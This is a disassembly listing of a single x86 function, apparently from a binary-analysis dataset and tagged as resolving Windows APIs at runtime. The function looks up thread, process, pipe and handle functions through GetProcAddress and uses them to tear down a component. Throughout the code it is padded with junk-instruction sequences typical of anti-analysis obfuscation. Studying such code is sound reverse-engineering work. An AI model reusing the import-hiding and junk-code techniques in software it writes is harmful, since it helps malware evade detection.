Function at 0x1000f000
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019fb8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov dword [ecx], 0x1001b354
push 0x30
mov dword [ebp - 4], 0
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [0x10021824]
push str.TerminateThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov ecx, dword [ebp - 0x10]
push 0
mov edx, dword [ecx + 0x28]
push edx
call dword [ebp - 0x14]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [0x10021824]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.TerminateProcess
push eax
call esi
push str.WaitForSingleObject
push str.KERNEL32.dll
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
mov dword [ebp - 0x1c], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 0x10]
push 0
mov ecx, dword [esi + 0x20]
push ecx
call dword [ebp - 0x18]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov edx, dword [esi + 0x24]
mov ebx, dword [ebp - 0x14]
add esp, 4
push 0
push edx
call ebx
push 0x30
call edi
mov eax, dword [esi + 0x2c]
add esp, 4
push 0x7d0
push eax
call dword [ebp - 0x1c]
push 0x30
call edi
mov ecx, dword [esi + 0x2c]
add esp, 4
push 0
push ecx
call ebx
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov edx, dword [0x10021824]
push str.DisconnectNamedPipe
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 0x10]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1000f139
mov edi, dword [ebp - 0x14]
push eax
call edi
jmp 0x1000f13c
mov edi, dword [ebp - 0x14]
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000f146
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x1000f150
push eax
call edi
mov esi, dword [esi + 0x1c]
test esi, esi
je 0x1000f15a
push esi
call edi
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov eax, dword [0x10021824]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CloseHandle
push eax
call esi
push str.FreeLibrary
push str.KERNEL32.dll
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call esi
mov dword [ebp - 0x18], eax
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [esi + 0x10]
push ecx
call edi
mov edx, dword [esi + 0x14]
push edx
call edi
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x20]
push edx
call edi
mov eax, dword [esi + 0x24]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
mov eax, dword [0x10021824]
push eax
call dword [ebp - 0x18]
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.1000bbe0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret